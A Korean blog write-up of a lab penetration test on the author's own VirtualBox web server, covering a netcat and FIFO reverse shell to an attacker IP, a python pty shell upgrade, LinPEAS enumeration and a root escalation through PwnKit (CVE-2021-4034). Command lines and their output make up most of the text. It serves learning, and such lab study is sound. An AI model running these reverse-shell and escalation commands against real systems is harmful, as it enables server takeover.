파일 업로드 취약점으로 사이트에 웹 쉘을 업로드 시켰다.
정상 작동을 하며 현제 사용자 id는 www-data 즉, 웹서버임을 확인 할 수 있다.
Post-Exploit으로 주로 사용하는 시나리오는 소스코드 다운로드 혹은, 리버스 쉘 삽입이다.
따라서 웹 쉘을 이용해서 리버스 쉘 삽입을 해보도록 하겠다.
우선 리버스쉘의 동작 원리부터 설명하겠다.
리버스 쉘은 바인드 쉘과 반대로 공격자가 포트를 열어놓으면 피해자 서버에서 요청을 보내 통신을 하도록 한다.
공격자는 포트를 열고 접속을 기다렸다.
nc -lvnp 1212
그리고 웹 쉘을 통해 피공격자 서버에 다음 명령을 실행시켰다.
nc 110.9.135.75 1212 -e sh
이는 netcat을 이용해 공격자 서버의 1212포트로 접속하도록 하며 sh(쉘)프로그램을 -e속성으로 실행시켜 연결하는 명령어이다.
하지만 웹쉘에서 위의 명령어를 입력할 경우 쉘 연결이 이루어지지 않았다. 그 이유는 -e속성이 사라졌기 때문인데 이 속성은 특정 프로그램을 실행시켜주기에 보안에 취약하여 옵션이 디폴트로 꺼져있다고 한다.
두번째로 FIFO를 이용한 명령을 사용하였다.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 110.9.135.75 1212 >/tmp/f
위 명령어는 우선 f파일을 삭제하고 다시 FIFO파일로 f파일을 생성한다. 이후 f에서 데이터를 읽어와 sh에서 대화형 모드로 생성해 상호작용이 가능한 쉘을 생성한다. 2>&1은 표준 에러스트림을 표준 출력스트림으로 리다이렉션하여 결론적을 둘 모두를 출력하게 해준다. 이후 이 값을 nc를 통해 특정 서버의 특정 포트로 전송한다.
FIFO의 경우 "First In First Out"의 약자이며 Pipe와 유사하다. 프로세스간 통신을 위해서 사용되는 유닉스 파일이다.
하지만 이 또한 nc를 통한 연결이 이루어지지 않았다.
그 이유를 찾은 결과 방화벽에서 서버의 outbound로 1212포트는 막아놓았기 때문이다.
따라서 https의 포트인 443포트를 통해서 연결을 시도하였다.
그 결과 아래와 같이 쉘이 떨어진 것을 볼 수 있다.
┌──(root㉿kali)-[~]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [110.9.135.75] from (UNKNOWN) [211.215.126.120] 43586
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
다만 이 쉘의 경우 인터렉티브 쉘이 아니다.
인터렉티브 쉘은 사용자와 상호작용을 하며 그 결과를 즉각적으로 보여주는 쉘을 말한다.
따라서 이 쉘을 인터렉티브 쉘로 업그레이드 하기 위해서 다음 명령어를 사용하였다.
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@cnt-VirtualBox:/var/www/html/nk/webshelltest$
결과적으로 인터렉티브 쉘을 얻은 것을 확인할 수 있다.
pty모들의 경우 가상의 터미널인 PTY를 생성하고 python의 spawn함수를 이용하여 지정된 프로세스인 /bin/bash을 실행한다. 이로인해 Bash가 실행하게 되고 입출력이 터미널에 연결되며 interactive한 터미널 환경을 구축 할 수 있게 되는것이다. 또한 이는 Bash 쉘 세션으로 전환이 되어 터미널 제어 및 명령어 입력의 자유도가 높아지며 터미널 접근 제한의 우회가 가능하다.
참고로 -c옵션은 인라인 실행옵션이다.
리버스쉘을 획득하였으므로 다음 목표로 루트권한을 획득하여 보겠다.
루트 권한 취약점 탐색을 위해서 툴을 하나 써보도록 하겠다.
LinPEAS인데 이 툴은 서버의 권한 상승 취약점 탐색 툴이다.
이 툴을 파일 업로드 취약점을 이용하여 웹 쉘을 업로드한 방법과 같은방법으로 파일을 업로드해보았다.
www-data@cnt-VirtualBox:/var/www/html/nk/webshelltest$ ls -al
ls -al
total 832
drwxrwxr-x 2 cnt cnt 4096 6월 7 22:55 .
drwxrwxrwx 7 root root 4096 6월 3 22:33 ..
-rw-rw-r-- 1 cnt cnt 836054 6월 4 13:27 linpeas.sh
-rw-rw-r-- 1 cnt cnt 433 6월 3 00:22 onelinewebshell.php
linpeas.sh의 실행 권한이 없기 때문에 실행권한을 부여하도록 하였다.
www-data@cnt-VirtualBox:/var/www/html/nk/webshelltest$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@cnt-VirtualBox:/var/www/html/nk/webshelltest$ ls -al
ls -al
total 832
drwxrwxr-x 2 cnt cnt 4096 6월 7 22:55 .
drwxrwxrwx 7 root root 4096 6월 3 22:33 ..
-rwxrwxr-x 1 cnt cnt 836054 6월 4 13:27 linpeas.sh
-rw-rw-r-- 1 cnt cnt 433 6월 3 00:22 onelinewebshell.php
www-data@cnt-VirtualBox:/var/www/html/nk/webshelltest$
실행권한도 변경되었다.
실행 결과 발견된 주요 내용은 다음과 같다.
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
cat: write error: Broken pipe
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: less probable
Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
이중 첫번째 취약점을 이용해보도록 하겠다.
이 취약점의 경우 nf_tables의 UAF(Use After Free)로 모든 사용자의 권한을 root로 상승시킬 수 있다고 한다.
이 파일을 wget를 통해 다운을 받고, gcc로 c언어 파일 실행파일로 만들 것이다.
gcc -o goroot vulnerable.c -static
gcc는 GNU컴파일러인 GCC를 사용하는 명령어이며 이는 코드를 기계어로 변환하여 실행파일로 만드는 명령어이다.
-o goroot는 출력 파일명을 goroot라는 이름으로 지정하며 -static은 실행파일을 정적으로 링크하여 생성하는 것이다. 정적링크 생성은 실행파일에 필요한 모든 라이브러리를 포함시킴으로 인해 실행파일이 라이브러리 없이 독립적인 시행이 가능하도록 하는 것이다
다만 라이브러리를 다운받아야 하므로 이번 취약점은 넘어가기로 했다.
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: less probable
Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
위 취약점은 다음 코드를 사용하였다
https://github.com/ly4k/PwnKit
그 결과 루트권한 획득에 성공하였다.
root@cnt-VirtualBox:/home/cnt# id
id
uid=0(root) gid=0(root) groups=0(root)
'모의해킹 및 보안' 카테고리의 다른 글
[금취분평] 이용자 입력 정보 보호 (0) | 2023.07.21 |
---|---|
[금취분평] 불필요한 웹 메서드 허용 (0) | 2023.07.21 |
File Upload 시나리오 : webshell, shoutdown etc. (0) | 2023.06.03 |
Directory Traver Attack (0) | 2023.06.03 |
Commend Injection (0) | 2023.06.03 |